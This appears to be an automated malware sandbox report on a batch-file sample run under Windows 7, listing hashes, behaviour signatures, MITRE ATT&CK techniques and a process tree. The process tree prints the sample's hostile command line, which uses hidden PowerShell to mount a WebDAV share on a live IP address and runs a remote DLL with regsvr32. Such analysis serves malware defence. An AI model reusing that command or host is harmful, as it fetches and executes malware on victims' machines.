ec2b363cc3f834e01ae5ad0a43d25f9c93086473ac66a8e535ee35033547baf3

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 06:23

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General

Target

30473216711356119956.bat
Size

13KB
MD5

91680e22d0190717587297afc0e16829
SHA1

4e897285aa71e613dbc570d1bcd29420752f460f
SHA256

ec2b363cc3f834e01ae5ad0a43d25f9c93086473ac66a8e535ee35033547baf3
SHA512

1342665952cc1c0eb462a39f3c610971d9486f1a919c7be93e6dc8f9cd4bc2c8e97fb1cd1ac390e517d23c2f8456bd0ff2c5a75d10b083d5c3c0a64eb3652410
SSDEEP

384:mYyb8e/VEBloXa237lNkxVyrl1Dx2i97bsF:BylVaij7lNwyvx2i97E

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2768	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2768	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2768	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2688	wordpad.exe
2688	wordpad.exe
2688	wordpad.exe
2688	wordpad.exe
2688	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2072 wrote to memory of 2688	2072	cmd.exe	31
PID 2072 wrote to memory of 2688	2072	cmd.exe	31
PID 2072 wrote to memory of 2688	2072	cmd.exe	31
PID 2072 wrote to memory of 2768	2072	cmd.exe	32
PID 2072 wrote to memory of 2768	2072	cmd.exe	32
PID 2072 wrote to memory of 2768	2072	cmd.exe	32
PID 2768 wrote to memory of 2708	2768	powershell.exe	34
PID 2768 wrote to memory of 2708	2768	powershell.exe	34
PID 2768 wrote to memory of 2708	2768	powershell.exe	34
PID 2768 wrote to memory of 2560	2768	powershell.exe	35
PID 2768 wrote to memory of 2560	2768	powershell.exe	35
PID 2768 wrote to memory of 2560	2768	powershell.exe	35
PID 2768 wrote to memory of 2560	2768	powershell.exe	35
PID 2768 wrote to memory of 2560	2768	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\30473216711356119956.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2072
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\249261543718728.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2708
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\249261543718728.dll
    3⤵
    PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2768-21-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2768-22-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download